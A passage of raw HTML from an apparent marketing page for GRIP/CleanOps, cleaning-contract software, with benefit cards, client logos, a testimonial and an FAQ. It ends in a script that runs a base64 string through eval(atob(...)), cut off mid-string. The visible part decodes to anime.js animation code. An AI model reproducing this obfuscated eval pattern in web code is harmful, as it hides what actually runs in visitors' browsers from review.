style=\"color:#64748B;font-size:14px;line-height:1.7;margin:0;\">With CleanOps you follow your contract in GRIP from bidding on a tender to final calculation of budget hours and revenue. <a href=\"\/plan-demo\/\" class=\"sm-link\" style=\"color:#006BFF;white-space:nowrap;\">Book a demo &rarr;<\/a><\/p>\n    <\/div>\n\n  <\/div>\n<\/section>\n\n\n\n<section style=\"padding:96px 24px;background:#fff;font-family:'Poppins',sans-serif;\">\n  <div style=\"max-width:1120px;margin:0 auto;\">\n\n    <div class=\"sm-section-header\" data-reveal>\n      <span class=\"sm-eyebrow sm-eyebrow--blue\">Benefits<\/span>\n      <h2 class=\"sm-h2\">Benefits for your organization<\/h2>\n      <p class=\"sm-lede\" style=\"max-width:620px;margin:0 auto;\">Why teams in cleaning choose to work with GRIP.<\/p>\n    <\/div>\n\n    <div style=\"display:flex;flex-wrap:wrap;justify-content:center;gap:24px;\">\n\n      <div class=\"sm-card\" style=\"background:#F8FAFC;padding:28px 24px;flex:1 1 300px;max-width:340px;\" data-reveal data-reveal-delay=\"0\">\n        <div style=\"width:40px;height:40px;background:#E8F0FF;border-radius:10px;display:flex;align-items:center;justify-content:center;margin-bottom:16px;font-size:17px;font-weight:700;color:#006BFF;\">&#10003;<\/div>\n        <h3 style=\"font-size:16px;font-weight:700;color:#0F172A;margin:0 0 6px 0;line-height:1.3;\">Transparency is your strength<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.6;\">Show clients in real time what you deliver, without having to build separate reports for it.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"background:#F8FAFC;padding:28px 24px;flex:1 1 300px;max-width:340px;\" data-reveal data-reveal-delay=\"80\">\n        <div style=\"width:40px;height:40px;background:#E8F0FF;border-radius:10px;display:flex;align-items:center;justify-content:center;margin-bottom:16px;font-size:17px;font-weight:700;color:#006BFF;\">&#10003;<\/div>\n        <h3 style=\"font-size:16px;font-weight:700;color:#0F172A;margin:0 0 6px 0;line-height:1.3;\">No discussion, no hassle<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.6;\">You record changes and agreements together, so you no longer fall back on separate emails or Excel.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"background:#F8FAFC;padding:28px 24px;flex:1 1 300px;max-width:340px;\" data-reveal data-reveal-delay=\"160\">\n        <div style=\"width:40px;height:40px;background:#E8F0FF;border-radius:10px;display:flex;align-items:center;justify-content:center;margin-bottom:16px;font-size:17px;font-weight:700;color:#006BFF;\">&#10003;<\/div>\n        <h3 style=\"font-size:16px;font-weight:700;color:#0F172A;margin:0 0 6px 0;line-height:1.3;\">One truth, no mistakes<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.6;\">Contract, calculation and quality measurement are in one place, so everyone works with the same figures.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"background:#F8FAFC;padding:28px 24px;flex:1 1 300px;max-width:340px;\" data-reveal data-reveal-delay=\"240\">\n        <div style=\"width:40px;height:40px;background:#E8F0FF;border-radius:10px;display:flex;align-items:center;justify-content:center;margin-bottom:16px;font-size:17px;font-weight:700;color:#006BFF;\">&#10003;<\/div>\n        <h3 style=\"font-size:16px;font-weight:700;color:#0F172A;margin:0 0 6px 0;line-height:1.3;\">Insight into your own performance<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.6;\">Track your quality and performance per contract and step in before a problem grows.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"background:#F8FAFC;padding:28px 24px;flex:1 1 300px;max-width:340px;\" data-reveal data-reveal-delay=\"320\">\n        <div style=\"width:40px;height:40px;background:#E8F0FF;border-radius:10px;display:flex;align-items:center;justify-content:center;margin-bottom:16px;font-size:17px;font-weight:700;color:#006BFF;\">&#10003;<\/div>\n        <h3 style=\"font-size:16px;font-weight:700;color:#0F172A;margin:0 0 6px 0;line-height:1.3;\">Time for your trade, not for admin<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.6;\">Because your data comes together automatically, your team keeps time over for the cleaning itself.<\/p>\n      <\/div>\n\n    <\/div>\n\n  <\/div>\n<\/section>\n\n\n\n<section class=\"sml-logos\" aria-label=\"Klanten van GRIP\">\n  <style>\n  .sml-logos { background: #F8FAFC; padding: 4rem 1.5rem; font-family: 'Poppins', sans-serif; }\n  .sml-logos .sml-label { text-align: center; font-size: 0.85rem; font-weight: 500; letter-spacing: 0.03em; color: #64748B; margin: 0 0 2.25rem 0; }\n  .sml-logos .sml-marquee { position: relative; overflow: hidden; max-width: 1100px; margin: 0 auto; -webkit-mask-image: linear-gradient(90deg, transparent 0, #000 8%, #000 92%, transparent 100%); mask-image: linear-gradient(90deg, transparent 0, #000 8%, #000 92%, transparent 100%); }\n  .sml-logos .sml-track { display: flex; flex-wrap: nowrap; width: max-content; align-items: center; animation: smlLogoScroll 42s linear infinite; }\n  .sml-logos .sml-set { display: flex; flex-wrap: nowrap; align-items: center; column-gap: clamp(2rem, 4.5vw, 3.75rem); padding-right: clamp(2rem, 4.5vw, 3.75rem); flex: 0 0 auto; }\n  .sml-logos .sml-track img { height: 42px; width: auto; filter: grayscale(100%); opacity: 0.7; transition: filter 0.25s ease, opacity 0.25s ease; }\n  .sml-logos .sml-track img:hover { filter: grayscale(0%); opacity: 1; }\n  .sml-logos .sml-marquee:hover .sml-track { animation-play-state: paused; }\n  @keyframes smlLogoScroll { from { transform: translateX(0); } to { transform: translateX(-50%); } }\n  @media (prefers-reduced-motion: reduce) {\n    .sml-logos .sml-track { animation: none; flex-wrap: wrap; justify-content: center; width: 100%; }\n    .sml-logos .sml-set + .sml-set { display: none; }\n    .sml-logos .sml-marquee { -webkit-mask-image: none; mask-image: none; }\n  }\n  <\/style>\n  <p class=\"sml-label\">Trusted by leading cleaning companies<\/p>\n  <div class=\"sml-marquee\">\n    <div class=\"sml-track\">\n        <div class=\"sml-set\">\n        <img decoding=\"async\" src=\"https:\/\/grip-contracts.com\/wp-content\/uploads\/2025\/11\/balans-Navy.png\" alt=\"Balans\" loading=\"lazy\">\n        <img decoding=\"async\" src=\"https:\/\/grip-contracts.com\/wp-content\/uploads\/2025\/11\/sodexo-Navy.png\" alt=\"Sodexo\" loading=\"lazy\">\n        <img decoding=\"async\" src=\"https:\/\/grip-contracts.com\/wp-content\/uploads\/2025\/11\/iris-Navy.png\" alt=\"Iris\" loading=\"lazy\">\n        <img decoding=\"async\" src=\"https:\/\/grip-contracts.com\/wp-content\/uploads\/2025\/11\/gom-Navy.png\" alt=\"GOM\" loading=\"lazy\">\n        <img decoding=\"async\" src=\"https:\/\/grip-contracts.com\/wp-content\/uploads\/2025\/11\/schoonzorg-Navy.png\" alt=\"Schoonzorg\" loading=\"lazy\">\n        <\/div>\n        <div class=\"sml-set\" aria-hidden=\"true\">\n        <img decoding=\"async\" src=\"https:\/\/grip-contracts.com\/wp-content\/uploads\/2025\/11\/balans-Navy.png\" alt=\"\" aria-hidden=\"true\" loading=\"lazy\">\n        <img decoding=\"async\" src=\"https:\/\/grip-contracts.com\/wp-content\/uploads\/2025\/11\/sodexo-Navy.png\" alt=\"\" aria-hidden=\"true\" loading=\"lazy\">\n        <img decoding=\"async\" src=\"https:\/\/grip-contracts.com\/wp-content\/uploads\/2025\/11\/iris-Navy.png\" alt=\"\" aria-hidden=\"true\" loading=\"lazy\">\n        <img decoding=\"async\" src=\"https:\/\/grip-contracts.com\/wp-content\/uploads\/2025\/11\/gom-Navy.png\" alt=\"\" aria-hidden=\"true\" loading=\"lazy\">\n        <img decoding=\"async\" src=\"https:\/\/grip-contracts.com\/wp-content\/uploads\/2025\/11\/schoonzorg-Navy.png\" alt=\"\" aria-hidden=\"true\" loading=\"lazy\">\n        <\/div>\n    <\/div>\n  <\/div>\n<\/section>\n\n\n\n<section style=\"padding:96px 24px;background:#fff;font-family:'Poppins',sans-serif;\">\n  <div style=\"max-width:760px;margin:0 auto;\">\n    <div class=\"sm-card\" style=\"padding:48px 40px;text-align:center;\" data-reveal>\n      <div style=\"font-size:52px;line-height:1;color:#FFECE7;font-weight:700;margin-bottom:4px;font-family:Georgia,serif;\" aria-hidden=\"true\">&#8220;<\/div>\n      <p style=\"font-size:20px;line-height:1.6;color:#0F172A;font-weight:500;margin:0 0 28px 0;\">With GRIP we can optimize our processes, reduce errors and offer transparency to our clients. The software delivers efficiency gains for both our own organization and our customers.<\/p>\n      <div style=\"display:flex;flex-direction:column;align-items:center;gap:2px;\">\n        <span style=\"font-size:15px;font-weight:700;color:#0F172A;\">Achint Atwal<\/span>\n        <span style=\"font-size:13px;color:#64748B;\">Managing Director, Balans<\/span>\n      <\/div>\n    <\/div>\n  <\/div>\n<\/section>\n\n\n\n<section style=\"padding:96px 24px;background:#F8FAFC;font-family:'Poppins',sans-serif;\">\n<style>\n.sm-faq { max-width:800px; margin:0 auto; }\n.sm-faq details { background:#fff; border:1px solid #E2E8F0; border-radius:12px; margin-bottom:12px; overflow:hidden; box-shadow:0 1px 2px rgba(15,23,42,.06); }\n.sm-faq summary { list-style:none; cursor:pointer; padding:20px 24px; font-size:16px; font-weight:600; color:#0F172A; display:flex; align-items:center; justify-content:space-between; gap:16px; }\n.sm-faq summary::-webkit-details-marker { display:none; }\n.sm-faq summary::after { content:\"+\"; flex-shrink:0; font-size:22px; line-height:1; font-weight:400; color:#006BFF; transition:transform .2s ease; }\n.sm-faq details[open] summary::after { transform:rotate(45deg); }\n.sm-faq .sm-faq-a { padding:0 24px 22px; font-size:14px; line-height:1.7; color:#64748B; }\n.sm-faq .sm-faq-a p { margin:0; }\n@media (prefers-reduced-motion: reduce) { .sm-faq summary::after { transition:none; } }\n<\/style>\n<div class=\"sm-section-header\" style=\"margin-bottom:48px;\" data-reveal>\n  <h2 class=\"sm-h2\"><span style=\"color:#006BFF;\">Frequently asked questions<\/span> from cleaning organizations<\/h2>\n<\/div>\n<div class=\"sm-faq\" data-reveal>\n  <details>\n    <summary><span>How does GRIP help me with my calculations?<\/span><\/summary>\n    <div class=\"sm-faq-a\"><p>GRIP lets you build calculations based on spaces, m&sup2;, frequencies and hourly rates. That calculation remains your source all the way to the invoice, so you see per contract what was agreed and what you invoice.<\/p><\/div>\n  <\/details>\n  <details>\n    <summary><span>What about planning in GRIP?<\/span><\/summary>\n    <div class=\"sm-faq-a\"><p>GRIP does not do staff planning; that stays in your own planning system. In GRIP, CleanOps helps you stay in control of your calculation, your tenders, your contracts and your proof of quality.<\/p><\/div>\n  <\/details>\n  <details>\n    <summary><span>Can I work together with my client in GRIP?<\/span><\/summary>\n    <div class=\"sm-faq-a\"><p>Yes. GRIP is built for collaboration between service provider and client. You manage contract changes together via an approval workflow and share the dashboard for monitoring. Each party has its own rights and sees what is relevant to them.<\/p><\/div>\n  <\/details>\n  <details>\n    <summary><span>Which quality measurements does GRIP support?<\/span><\/summary>\n    <div class=\"sm-faq-a\"><p>GRIP supports DKS (Daily Quality Cleaning) inspections, VSR measurements according to NEN 2075, and free-form audits. All via the mobile app, including photo registration. Results are directly available as a report for your client.<\/p><\/div>\n  <\/details>\n  <details>\n    <summary><span>Does GRIP also work if I have multiple clients?<\/span><\/summary>\n    <div class=\"sm-faq-a\"><p>Yes. GRIP is designed for service providers with multiple clients. You manage all contracts from one overview and switch easily between client environments. Per employee you set who may view and edit which contracts.<\/p><\/div>\n  <\/details>\n  <details>\n    <summary><span>Can I use my room schedule or FMIS data for my calculation?<\/span><\/summary>\n    <div class=\"sm-faq-a\"><p>Yes. Is your room schedule or square footage already recorded in an FMIS system? Then you use that data as the basis for your calculation in GRIP, so you calculate on current square meters instead of a separate inventory.<\/p><\/div>\n  <\/details>\n  <details>\n    <summary><span>How do invoices and budget hours end up in my ERP system?<\/span><\/summary>\n    <div class=\"sm-faq-a\"><p>After final calculation, GRIP automatically forwards the invoice amounts per location and the corresponding budget hours to your own ERP system or planning tool, including the settlements and provisions.<\/p><\/div>\n  <\/details>\n  <details>\n    <summary><span>Can we switch without losing our existing contract data?<\/span><\/summary>\n    <div class=\"sm-faq-a\"><p>Yes. During the switch, we bring your existing contracts, calculations and quality data along into GRIP, so you continue working from your own file instead of starting from scratch.<\/p><\/div>\n  <\/details>\n  <details>\n    <summary><span>Do you work as an advisory firm or intermediary?<\/span><\/summary>\n    <div class=\"sm-faq-a\"><p>Yes. For pre-calculation, tender guidance and the contract management you carry out on behalf of clients, you work in GRIP just like cleaning companies. Final calculation and invoicing to the ERP are mainly for cleaning companies that run the contract operationally.<\/p><\/div>\n  <\/details>\n<\/div>\n<\/section>\n\n\n\n<section style=\"padding:88px 24px;background:#006BFF;font-family:'Poppins',sans-serif;text-align:center;\">\n  <div style=\"max-width:680px;margin:0 auto;\" data-reveal>\n    <h2 style=\"font-family:'Poppins',sans-serif;font-size:clamp(1.75rem,3.2vw,2.5rem);font-weight:700;color:#fff;margin:0 0 16px 0;line-height:1.25;\">Ready to grow professionally?<\/h2>\n    <p style=\"font-size:17px;color:rgba(255,255,255,.9);line-height:1.65;margin:0 0 36px 0;\">Discover how GRIP helps you calculate more precisely, keep your contracts accurate and make quality demonstrable.<\/p>\n    <div style=\"display:flex;gap:16px;justify-content:center;flex-wrap:wrap;\">\n      <a href=\"\/plan-demo\/\" style=\"background:#fff;color:#006BFF;font-size:16px;font-weight:600;padding:14px 28px;border-radius:8px;text-decoration:none;box-shadow:0 12px 28px rgba(15,23,42,.16);\">Book a demo<\/a>\n      <a href=\"https:\/\/grip-contracts.com\/en\/pricing\/\" style=\"background:rgba(255,255,255,.12);border:1px solid rgba(255,255,255,.45);color:#fff;font-size:16px;font-weight:600;padding:14px 28px;border-radius:8px;text-decoration:none;\">View pricing<\/a>\n    <\/div>\n  <\/div>\n<\/section>\n\n\n\n<div class=\"sm-anim-controller\" aria-hidden=\"true\"><\/div>\n<style>\n.sm-card{transition:transform .3s cubic-bezier(.2,.7,.2,1),box-shadow .3s cubic-bezier(.2,.7,.2,1);}\n.sm-card:hover{transform:translateY(-5px);box-shadow:0 20px 44px rgba(15,23,42,.13),0 6px 14px rgba(15,23,42,.06);}\n.smh-hero__mockup-bar{will-change:transform;}\n<\/style>\n<script>eval(atob(\"LyoKICogYW5pbWUuanMgdjMuMi4yCiAqIChjKSAyMDIzIEp1bGlhbiBHYXJuaWVyCiAqIFJlbGVhc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZQogKiBhbmltZWpzLmNvbQogKi8KCiFmdW5jdGlvbihuLGUpeyJvYmplY3QiPT10eXBlb2YgZXhwb3J0cyYmInVuZGVmaW5lZCIhPXR5cGVvZiBtb2R1bGU\/bW9kdWxlLmV4cG9ydHM9ZSgpOiJmdW5jdGlvbiI9PXR5cGVvZiBkZWZpbmUmJmRlZmluZS5hbWQ\/ZGVmaW5lKGUpOm4uYW5pbWU9ZSgpfSh0aGlzLGZ1bmN0aW9uKCl7InVzZSBzdHJpY3QiO3ZhciBpPXt1cGRhdGU6bnVsbCxiZWdpbjpudWxsLGxvb3BCZWdpbjpudWxsLGNoYW5nZUJlZ2luOm51bGwsY2hhbmdlOm51bGwsY2hhbmdlQ29tcGxldGU6bnVsbCxsb29wQ29tcGxldGU6bnVsbCxjb21wbGV0ZTpudWxsLGxvb3A6MSxkaXJlY3Rpb246Im5vcm1hbCIsYXV0b3BsYXk6ITAsdGltZWxpbmVPZmZzZXQ6MH0sTT17ZHVyYXRpb246MWUzLGRlbGF5OjAsZW5kRGVsYXk6MCxlYXNpbmc6ImVhc2VPdXRFbGFzdGljKDEsIC41KSIscm91bmQ6MH0saj1bInRyYW5zbGF0ZVgiLCJ0cmFuc2xhdGVZIiwidHJhbnNsYXRlWiIsInJvdGF0ZSIsInJvdGF0ZVgiLCJyb3RhdGVZIiwicm90YXRlWiIsInNjYWxlIiwic2NhbGVYIiwic2NhbGVZIiwic2NhbGVaIiwic2tldyIsInNrZXdYIiwic2tld1kiLCJwZXJzcGVjdGl2ZSIsIm1hdHJpeCIsIm1hdHJpeDNkIl0sbD17Q1NTOnt9LHNwcmluZ3M6e319O2Z1bmN0aW9uIEMobixlLHQpe3JldHVybiBNYXRoLm1pbihNYXRoLm1heChuLGUpLHQpfWZ1bmN0aW9uIHUobixlKXtyZXR1cm4tMTxuLmluZGV4T2YoZSl9ZnVuY3Rpb24gbyhuLGUpe3JldHVybiBuLmFwcGx5KG51bGwsZSl9dmFyIHc9e2FycjpmdW5jdGlvbihuKXtyZXR1cm4gQXJyYXkuaXNBcnJheShuKX0sb2JqOmZ1bmN0aW9uKG4pe3JldHVybiB1KE9iamVjdC5wcm90b3R5cGUudG9TdHJpbmcuY2FsbChuKSwiT2JqZWN0Iil9LHB0aDpmdW5jdGlvbihuKXtyZXR1cm4gdy5vYmoobikmJm4uaGFzT3duUHJvcGVydHkoInRvdGFsTGVuZ3RoIil9LHN2ZzpmdW5jdGlvbihuKXtyZXR1cm4gbiBpbnN0YW5jZW9mIFNWR0VsZW1lbnR9LGlucDpmdW5jdGlvbihuKXtyZXR1cm4gbiBpbnN0YW5jZW9mIEhUTUxJbnB1dEVsZW1lbnR9LGRvbTpmdW5jdGlvbihuKXtyZXR1cm4gbi5ub2RlVHlwZXx8dy5zdmcobil9LHN0cjpmdW5jdGlvbihuKXtyZXR1cm4ic3RyaW5nIj09dHlwZW9mIG59LGZuYzpmdW5jdGlvbihuKXtyZXR1cm4iZnVuY3Rpb24iPT10eXBlb2Ygbn0sdW5kOmZ1bmN0aW9uKG4pe3JldHVybiB2b2lkIDA9PT1ufSxuaWw6ZnVuY3Rpb24obil7cmV0dXJuIHcudW5kKG4pfHxudWxsPT09bn0saGV4OmZ1bmN0aW9uKG4pe3JldHVybi8oXiNbMC05QS1GXXs2fSQpfCheI1swLTlBLUZdezN9JCkvaS50ZXN0KG4pfSxyZ2I6ZnVuY3Rpb24obil7cmV0dXJuL15yZ2IvLnRlc3Qobil9LGhzbDpmdW5jdGlvbihuKXtyZXR1cm4vXmhzbC8udGVzdChuKX0sY29sOmZ1bmN0aW9uKG4pe3JldHVybiB3LmhleChuKXx8dy5yZ2Iobil8fHcuaHNsKG4pfSxrZXk6ZnVuY3Rpb24obil7cmV0dXJuIWkuaGFzT3duUHJvcGVydHkobikmJiFNLmhhc093blByb3BlcnR5KG4pJiYidGFyZ2V0cyIhPT1uJiYia2V5ZnJhbWVzIiE9PW59fTtmdW5jdGlvbiBkKG4pe249L1woKFteKV0rKVwpLy5leGVjKG4pO3JldHVybiBuP25bMV0uc3BsaXQoIiwiKS5tYXAoZnVuY3Rpb24obil7cmV0dXJuIHBhcnNlRmxvYXQobil9KTpbXX1mdW5jdGlvbiBjKHIsdCl7dmFyIG49ZChyKSxlPUMody51bmQoblswXSk\/MTpuWzBdLC4xLDEwMCksYT1DKHcudW5kKG5bMV0pPzEwMDpuWzFdLC4xLDEwMCksbz1DKHcudW5kKG5bMl0pPzEwOm5bMl0sLjEsMTAwKSxuPUMody51bmQoblszXSk\/MDpuWzNdLC4xLDEwMCksdT1NYXRoLnNxcnQoYS9lKSxpPW8vKDIqTWF0aC5zcXJ0KGEqZSkpLGM9aTwxP3UqTWF0aC5zcXJ0KDEtaSppKTowLHM9aTwxPyhpKnUtbikvYzotbit1O2Z1bmN0aW9uIGYobil7dmFyIGU9dD90Km4vMWUzOm4sZT1pPDE\/TWF0aC5leHAoLWUqaSp1KSooK01hdGguY29zKGMqZSkrcypNYXRoLnNpbihjKmUpKTooMStzKmUpKk1hdGguZXhwKC1lKnUpO3JldHVybiAwPT09bnx8MT09PW4\/bjoxLWV9cmV0dXJuIHQ\/ZjpmdW5jdGlvbigpe3ZhciBuPWwuc3ByaW5nc1tyXTtpZihuKXJldHVybiBuO2Zvcih2YXIgZT0wLHQ9MDs7KWlmKDE9PT1mKGUrPTEvNikpe2lmKDE2PD0rK3QpYnJlYWt9ZWxzZSB0PTA7cmV0dXJuIG49ZSooMS82KSoxZTMsbC5zcHJpbmdzW3JdPW59fWZ1bmN0aW9uIHEoZSl7cmV0dXJuIHZvaWQgMD09PWUmJihlPTEwKSxmdW5jdGlvbihuKXtyZXR1cm4gTWF0aC5jZWlsKEMobiwxZS02LDEpKmUpKigxL2UpfX12YXIgSD1mdW5jdGlvbihiLGUsTSx0KXtpZigwPD1iJiZiPD0xJiYwPD1NJiZNPD0xKXt2YXIgeD1uZXcgRmxvYXQzMkFycmF5KDExKTtpZihiIT09ZXx8TSE9PXQpZm9yKHZhciBuPTA7bjwxMTsrK24peFtuXT1rKC4xKm4sYixNKTtyZXR1cm4gZnVuY3Rpb24obil7cmV0dXJuIGI9PT1lJiZNPT09dHx8MD09PW58fDE9PT1uP246ayhyKG4pLGUsdCl9fWZ1bmN0aW9uIHIobil7Zm9yKHZhciBlPTAsdD0xOzEwIT09dCYmeFt0XTw9bjsrK3QpZSs9LjE7dmFyIHI9ZSsuMSooKG4teFstLXRdKS8oeFt0KzFdLXhbdF0pKSxhPU8ocixiLE0pO2lmKC4wMDE8PWEpe2Zvcih2YXIgbz1uLHU9cixpPWIsYz1NLHM9MDtzPDQ7KytzKXt2YXIgZj1PKHUsaSxjKTtpZigwPT09ZilyZXR1cm4gdTt1LT0oayh1LGksYyktbykvZn1yZXR1cm4gdX1pZigwPT09YSlyZXR1cm4gcjtmb3IodmFyIGwsZCxwPW4saD1lLGc9ZSsuMSxtPWIsdj1NLHk9MDswPChsPWsoZD1oKyhnLWgpLzIsbSx2KS1wKT9nPWQ6aD1kLDFlLTc8TWF0aC5hYnMobCkmJisreTwxMDspO3JldHVybiBkfX07ZnVuY3Rpb24gcihuLGUpe3JldHVybiAxLTMqZSszKm59ZnVuY3Rpb24gayhuLGUsdCl7cmV0dXJuKChyKGUsdCkqbisoMyp0LTYqZSkpKm4rMyplKSpufWZ1bmN0aW9uIE8obixlLHQpe3JldHVybiAzKnIoZSx0KSpuKm4rMiooMyp0LTYqZSkqbiszKmV9ZT17bGluZWFyOmZ1bmN0aW9uKCl7cmV0dXJuIGZ1bmN0aW9uKG4pe3JldHVybiBufX19LHQ9e1NpbmU6ZnVuY3Rpb24oKXtyZXR1cm4gZnVuY3Rpb24obil7cmV0dXJuIDEtTWF0aC5jb3MobipNYXRoLlBJLzIpfX0sRXhwbzpmdW5jdGlvbigpe3JldHVybiBmdW5jdGlvbihuKXtyZXR1cm4gbj9NYXRoLnBvdygyLDEwKm4tMTApOjB9fSxDaXJjOmZ1bmN0aW9uKCl7cmV0dXJuIGZ1bmN0aW9uKG4pe3JldHVybiAxLU1hdGguc3FydCgxLW4qbil9fSxCYWNrOmZ1bmN0aW9uKCl7cmV0dXJuIGZ1bmN0aW9uKG4pe3JldHVybiBuKm4qKDMqbi0yKX19LEJvdW5jZTpmdW5jdGlvbigpe3JldHVybiBmdW5jdGlvbihuKXtmb3IodmFyIGUsdD00O248KChlPU1hdGgucG93KDIsLS10KSktMSkvMTE7KTtyZXR1cm4gMS9NYXRoLnBvdyg0LDMtdCktNy41NjI1Kk1hdGgucG93KCgzKmUtMikvMjItbiwyKX19LEVsYXN0aWM6ZnVuY3Rpb24obixlKXt2b2lkIDA9PT1lJiYoZT0uNSk7dmFyIHQ9QyhuPXZvaWQgMD09PW4\/MTpuLDEsMTApLHI9QyhlLC4xLDIpO3JldHVybiBmdW5jdGlvbihuKXtyZXR1cm4gMD09PW58fDE9PT1uP246LXQqTWF0aC5wb3coMiwxMCoobi0xKSkqTWF0aC5zaW4oKG4tMS1yLygyKk1hdGguUEkpKk1hdGguYXNpbigxL3QpKSooMipNYXRoLlBJKS9yKX19fSxbIlF1YWQiLCJDdWJpYyIsIlF1YXJ0IiwiUXVpbnQiXS5mb3JFYWNoKGZ1bmN0aW9uKG4sZSl7dFtuXT1mdW5jdGlvbigpe3JldHVybiBmdW5jdGlvbihuKXtyZXR1cm4gTWF0aC5wb3cobixlKzIpfX19KSxPYmplY3Qua2V5cyh0KS5mb3JFYWNoKGZ1bmN0aW9uKG4pe3ZhciByPXRbbl07ZVsiZWFzZUluIituXT1yLGVbImVhc2VPdXQiK25dPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIGZ1bmN0aW9uKG4pe3JldHVybiAxLXIoZSx0KSgxLW4pfX0sZVsiZWFzZUluT3V0IituXT1mdW5jdGlvbihlLHQpe3JldHVybiBmdW5jdGlvbihuKXtyZXR1cm4gbjwuNT9yKGUsdCkoMipuKS8yOjEtcihlLHQpKC0yKm4rMikvMn19LGVbImVhc2VPdXRJbiIrbl09ZnVuY3Rpb24oZSx0KXtyZXR1cm4gZnVuY3Rpb24obil7cmV0dXJuIG48LjU\/KDEtcihlLHQpKDEtMipuKSkvMjoocihlLHQpKDIqbi0xKSsxKS8yfX19KTt2YXIgZSx0LHM9ZTtmdW5jdGlvbiBQKG4sZSl7aWYody5mbmMobikpcmV0dXJuIG47dmFyIHQ9bi5zcGxpdCgiKCIpWzBdLHI9c1t0XSxhPWQobik7c3dpdGNoKHQpe2Nhc2Uic3ByaW5nIjpyZXR1cm4gYyhuLGUpO2Nhc2UiY3ViaWNCZXppZXIiOnJldHVybiBvKEgsYSk7Y2FzZSJzdGVwcyI6cmV0dXJuIG8ocSxhKTtkZWZhdWx0OnJldHVybiBvKHIsYSl9fWZ1bmN0aW9uIGEobil7dHJ5e3JldHVybiBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKG4pfWNhdGNoKG4pe319ZnVuY3Rpb24gSShuLGUpe2Zvcih2YXIgdCxyPW4ubGVuZ3RoLGE9Mjw9YXJndW1lbnRzLmxlbmd0aD9lOnZvaWQgMCxvPVtdLHU9MDt1PHI7dSsrKXUgaW4gbiYmKHQ9blt1XSxlLmNhbGwoYSx0LHUsbikpJiZvLnB1c2godCk7cmV0dXJuIG99ZnVuY3Rpb24gZihuKXtyZXR1cm4gbi5yZWR1Y2UoZnVuY3Rpb24obixlKXtyZXR1cm4gbi5jb25jYXQody5hcnIoZSk\/ZihlKTplKX0sW10pfWZ1bmN0aW9uIHAobil7cmV0dXJuIHcuYXJyKG4pP246KG49dy5zdHIobik\/YShuKXx8bjpuKWluc3RhbmNlb2YgTm9kZUxpc3R8fG4gaW5zdGFuY2VvZiBIVE1MQ29sbGVjdGlvbj9bXS5zbGljZS5jYWxsKG4pOltuXX1mdW5jdGlvbiBoKG4sZSl7cmV0dXJuIG4uc29tZShmdW5jdGlvbihuKXtyZXR1cm4gbj09PWV9KX1mdW5jdGlvbiBnKG4pe3ZhciBlLHQ9e307Zm9yKGUgaW4gbil0W2VdPW5bZV07cmV0dXJuIHR9ZnVuY3Rpb24geChuLGUpe3ZhciB0LHI9ZyhuKTtmb3IodCBpbiBuKXJbdF09KGUuaGFzT3duUHJvcGVydHkodCk\/ZTpuKVt0XTtyZXR1cm4gcn1mdW5jdGlvbiBEKG4sZSl7dmFyIHQscj1nKG4pO2Zvcih0IGluIGUpclt0XT0ody51bmQoblt0XSk\/ZTpuKVt0XTtyZXR1cm4gcn1mdW5jdGlvbiBWKG4pe3ZhciBlLHQscixhLG8sdSxpO3JldHVybiB3LnJnYihuKT8oZT0vcmdiXCgoXGQrLFxzKltcZF0rLFxzKltcZF0rKVwpL2cuZXhlYyh0PW4pKT8icmdiYSgiK2VbMV0rIiwxKSI6dDp3LmhleChuKT8oZT0oZT1uKS5yZXBsYWNlKC9eIz8oW2EtZlxkXSkoW2EtZlxkXSkoW2EtZlxkXSkkL2ksZnVuY3Rpb24obixlLHQscil7cmV0dXJuIGUrZSt0K3QrcityfSksZT0vXiM\/KFthLWZcZF17Mn0pKFthLWZcZF17Mn0pKFthLWZcZF17Mn0pJC9pLmV4ZWMoZSksInJnYmEoIitwYXJzZUludChlWzFdLDE2KSsiLCIrcGFyc2VJbnQoZVsyXSwxNikrIiwiK3BhcnNlSW50KGVbM10sMTYpKyIsMSkiKTp3LmhzbChuKT8odD0vaHNsXCgoXGQrKSxccyooW1xkLl0rKSUsXHMqKFtcZC5dKyklXCkvZy5leGVjKHQ9bil8fC9oc2xhXCgoXGQrKSxccyooW1xkLl0rKSUsXHMqKFtcZC5dKyklLFxzKihbXGQuXSspXCkvZy5leGVjKHQpLG49cGFyc2VJbnQodFsxXSwxMCkvMzYwLHU9cGFyc2VJbnQodFsyXSwxMCkvMTAwLGk9cGFyc2VJbnQodFszXSwxMCkvMTAwLHQ9dFs0XXx8MSwwPT11P3I9YT1vPWk6KHI9Yyh1PTIqaS0oaT1pPC41P2kqKDErdSk6aSt1LWkqdSksaSxuKzEvMyksYT1jKHUsaSxuKSxvPWModSxpLG4tMS8zKSksInJnYmEoIisyNTUqcisiLCIrMjU1KmErIiwiKzI1NSpvKyIsIit0KyIpIik6dm9pZCAwO2Z1bmN0aW9uIGMobixlLHQpe3JldHVybiB0PDAmJih0Kz0xKSwxPHQmJi0tdCx0PDEvNj9uKzYqKGUtbikqdDp0PC41P2U6dDwyLzM\/bisoZS1uKSooMi8zLXQpKjY6bn19ZnVuY3Rpb24gQihuKXtuPS9bKy1dP1xkKlwuP1xkKyg\/OlwuXGQrKT8oPzpbZUVdWystXT9cZCspPyglfHB4fHB0fGVtfHJlbXxpbnxjbXxtbXxleHxjaHxwY3x2d3x2aHx2bWlufHZtYXh8ZGVnfHJhZHx0dXJuKT8kLy5leGVjKG4pO2lmKG4pcmV0dXJuIG5bMV19ZnVuY3Rpb24gbShuLGUpe3JldHVybiB3LmZuYyhuKT9uKGUudGFyZ2V0LGUuaWQsZS50b3RhbCk6bn1mdW5jdGlvbiB2KG4sZSl7cmV0dXJuIG4uZ2V0QXR0cmlidXRlKGUpfWZ1bmN0aW9uIHkobixlLHQpe3ZhciByLGEsbztyZXR1cm4gaChbdCwiZGVnIiwicmFkIiwidHVybiJdLEIoZSkpP2U6KHI9bC5DU1NbZSt